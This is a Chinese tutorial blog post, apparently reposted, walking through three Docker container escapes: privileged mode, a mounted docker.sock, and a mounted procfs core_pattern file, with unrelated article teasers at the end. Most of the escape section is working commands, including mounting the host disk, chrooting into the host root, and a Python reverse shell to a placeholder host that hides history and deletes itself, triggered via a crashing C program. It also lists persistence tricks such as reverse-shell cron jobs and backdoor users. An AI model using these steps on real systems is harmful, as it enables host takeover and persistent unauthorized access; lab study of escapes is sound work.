Docker容器逃逸-特权模式-危险挂载-Procfs

2024-04-19 08:52

本文主要是介绍Docker容器逃逸-特权模式-危险挂载-Procfs,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

Docker容器逃逸-特权模式-危险挂载

Docker这个概念: Docker 容器与虚拟机类似,但二者在原理上不同,容器是将操作系统层虚拟化,虚拟机则是虚拟化硬件,因此容器更具有便携性、高效地利用服务器。

Docker会遇到的安全问题大概有三点:

  1. 不安全的第三方软件

    1. 例如开发者在代码中引入了存在漏洞版本的 log4j2 组件,然后将其打包成了业务镜像。这样即使代码没有漏洞,但因为引入了不安全的第三方组件也变得有漏洞了。
  2. 不安全的镜像

    1. 在公共镜像仓库比如 Docker Hub 里,会存在一些有漏洞的镜像或者恶意镜像,如果使用了这些镜像那就存在风险了。
  3. 敏感信息泄露

    1. 如果开发者为了开发、调试方便,可能会将数据库账号密码、云服务密钥之类的敏感数据打包到了镜像里,那别人获取到这个镜像后,就会导致敏感信息泄露了。

判断当前是否在Docker中:

没有权限:很难直接通过某个特征直接判断出来,需要经验和目标的综合表现来判断

https://blog.csdn.net/qq_23936389/article/details/131486643

有命令执行权限:查看/.dockerenv这个文件是否存在,存在就是Docker环境

Docker逃逸:

  1. 特权模式启动导致的Docker逃逸:

    启动靶场docker run --rm --privileged=true -it alpine

    判断特权cat /proc/self/status | grep CapEff

    在容器内部执行上面这条命令,从而判断容器是不是特权模式,如果是以特权模式启动的话,CapEff 对应的掩码值应该为0000003fffffffff 或者是 0000001fffffffff
    查看挂载磁盘设备fdisk -l
    挂载目录mkdir /test && mount /dev/vda1 /test​ #把/dev/vda1这个目录改成目标对应的存在的目录;
    #这一步就是因为由特权模式导致权限过高,导致可以把物理机的根目录直接挂载到Docker容器中的虚拟目录

    判断结果cd /test && ls

    image

    权限维持的方法:留下反弹shell的定时计划任务;留下主机木马;创建后门用户

​​

  1. 危险挂载启动导致的Docker逃逸:

启动靶场docker run -itd --name with_docker_sock -v /var/run/docker.sock:/var/run/docker.sock ubuntu​​
进入环境docker exec -it with_docker_sock /bin/bash​​
检测环境ls -lah /var/run/docker.sock​​
挂载逃逸:(下面这三条命命令就是在docker容器中,再下载一个docke)

apt-get update
apt-get install curl
curl -fsSL https://get.docker.com/ | sh

在容器内部创建一个新的容器,并将宿主机目录挂载到新的容器内部

docker run -it -v /:/host ubuntu /bin/bash chroot /host

上面这两条命令的目的是将当前正在运行的Docker容器的根文件系统切换到宿主机的根文件系统上:

  1. docker run -it -v /:/host ubuntu /bin/bash​:

    • docker run​: 运行一个新的容器。
    • -it​: 分配一个伪终端并保持标准输入打开以便与容器进行交互。
    • -v /:/host​: 将宿主机的根文件系统挂载到容器内的/host​目录。这个挂载的操作允许容器内部访问宿主机的文件系统。
    • ubuntu​: 指定容器的镜像为Ubuntu。
    • /bin/bash​: 在容器内启动bash shell。
  2. chroot /host​:

    • chroot​: 更改根目录到指定目录。
    • /host​: 指定切换到的新根目录。

image

这两个命令的结合效果是,在一个新的Ubuntu容器中,首先将宿主机的根文件系统挂载到容器内的/host​目录上,
然后通过chroot​命令将容器的根目录切换到宿主机的根目录上,从而使得在容器中执行的命令会影响到宿主机的文件系统。
这种操作需要在宿主机上有足够的权限才能执行。

  1. 挂载了宿主机Procfs系统导致的Docker逃逸

    启动环境:docker run -it -v /proc/sys/kernel/core_pattern:/host/proc/sys/kernel/core_pattern ubuntu

    检测环境:find / -name core_pattern

    image

    查看当前容器在宿主机上的绝对路径:cat /proc/mounts | grep docker

    image

    写入文件:

    cat >/tmp/.x.py << EOF#!/usr/bin/pythonimport osimport ptyimport socketlhost = "xx.xx.xx.xx"lport = xxxxdef main():s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.connect((lhost, lport))os.dup2(s.fileno(), 0)os.dup2(s.fileno(), 1)os.dup2(s.fileno(), 2)os.putenv("HISTFILE", '/dev/null')pty.spawn("/bin/bash")os.remove('/tmp/.x.py')s.close()if **name** == "__main__":main()EOF
    

    image

    chmod +x /tmp/.x.py

    echo -e "|/var/lib/docker/overlay2/4aac278b06d86b0d7b6efa4640368820c8c16f1da8662997ec1845f3cc69ccee/merged/tmp/.x.py \rcore " >/host/proc/sys/kernel/core_pattern

    image

    上面这条echo命令中容器在宿主机的绝对路径要根据自己的环境改变;后面重定向符号到哪里的那个路径也是根据find / -name core_pattern​命令的结果决定的

    cat >/tmp/x.c << EOF#include <stdio.h>int main(void){int *a = NULL;*a = 1;return 0;}EOF
    

    image

    gcc x.c -o x

    开启监听

    nc -lvvp xxxx

    image

    执行文件:

    ./x

    这反弹出来的权限就会是物理机的权限了

Tips:

  1. docker images 查看系统中docker一共拉取下来的镜像文件有哪些
  2. 特权模式启动并不是指Root用户启动,而是指在启动镜像的时候用了 --rm --privileged=true 这个命令

这篇关于Docker容器逃逸-特权模式-危险挂载-Procfs的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/917092

相关文章

如何用Docker运行Django项目

本章教程,介绍如何用Docker创建一个Django,并运行能够访问。 一、拉取镜像 这里我们使用python3.11版本的docker镜像 docker pull python:3.11 二、运行容器 这里我们将容器内部的8080端口,映射到宿主机的80端口上。 docker run -itd --name python311 -p

在JS中的设计模式的单例模式、策略模式、代理模式、原型模式浅讲

1. 单例模式(Singleton Pattern) 确保一个类只有一个实例,并提供一个全局访问点。 示例代码: class Singleton {constructor() {if (Singleton.instance) {return Singleton.instance;}Singleton.instance = this;this.data = [];}addData(value)

K8S(Kubernetes)开源的容器编排平台安装步骤详解

K8S(Kubernetes)是一个开源的容器编排平台,用于自动化部署、扩展和管理容器化应用程序。以下是K8S容器编排平台的安装步骤、使用方式及特点的概述: 安装步骤: 安装Docker:K8S需要基于Docker来运行容器化应用程序。首先要在所有节点上安装Docker引擎。 安装Kubernetes Master:在集群中选择一台主机作为Master节点,安装K8S的控制平面组件,如AP

Spring框架5 - 容器的扩展功能 (ApplicationContext)

private static ApplicationContext applicationContext;static {applicationContext = new ClassPathXmlApplicationContext("bean.xml");} BeanFactory的功能扩展类ApplicationContext进行深度的分析。ApplicationConext与 BeanF

容器编排平台Kubernetes简介

目录 什么是K8s 为什么需要K8s 什么是容器(Contianer) K8s能做什么? K8s的架构原理  控制平面(Control plane)         kube-apiserver         etcd         kube-scheduler         kube-controller-manager         cloud-controlle

模版方法模式template method

学习笔记,原文链接 https://refactoringguru.cn/design-patterns/template-method 超类中定义了一个算法的框架, 允许子类在不修改结构的情况下重写算法的特定步骤。 上层接口有默认实现的方法和子类需要自己实现的方法

【iOS】MVC模式

MVC模式 MVC模式MVC模式demo MVC模式 MVC模式全称为model(模型)view(视图)controller(控制器),他分为三个不同的层分别负责不同的职责。 View:该层用于存放视图,该层中我们可以对页面及控件进行布局。Model:模型一般都拥有很好的可复用性,在该层中,我们可以统一管理一些数据。Controlller:该层充当一个CPU的功能,即该应用程序

迭代器模式iterator

学习笔记,原文链接 https://refactoringguru.cn/design-patterns/iterator 不暴露集合底层表现形式 (列表、 栈和树等) 的情况下遍历集合中所有的元素

《x86汇编语言:从实模式到保护模式》视频来了

《x86汇编语言:从实模式到保护模式》视频来了 很多朋友留言,说我的专栏《x86汇编语言:从实模式到保护模式》写得很详细,还有的朋友希望我能写得更细,最好是覆盖全书的所有章节。 毕竟我不是作者,只有作者的解读才是最权威的。 当初我学习这本书的时候,只能靠自己摸索,网上搜不到什么好资源。 如果你正在学这本书或者汇编语言,那你有福气了。 本书作者李忠老师,以此书为蓝本,录制了全套视频。 试

利用命令模式构建高效的手游后端架构

在现代手游开发中,后端架构的设计对于支持高并发、快速迭代和复杂游戏逻辑至关重要。命令模式作为一种行为设计模式,可以有效地解耦请求的发起者与接收者,提升系统的可维护性和扩展性。本文将深入探讨如何利用命令模式构建一个强大且灵活的手游后端架构。 1. 命令模式的概念与优势 命令模式通过将请求封装为对象,使得请求的发起者和接收者之间的耦合度降低。这种模式的主要优势包括: 解耦请求发起者与处理者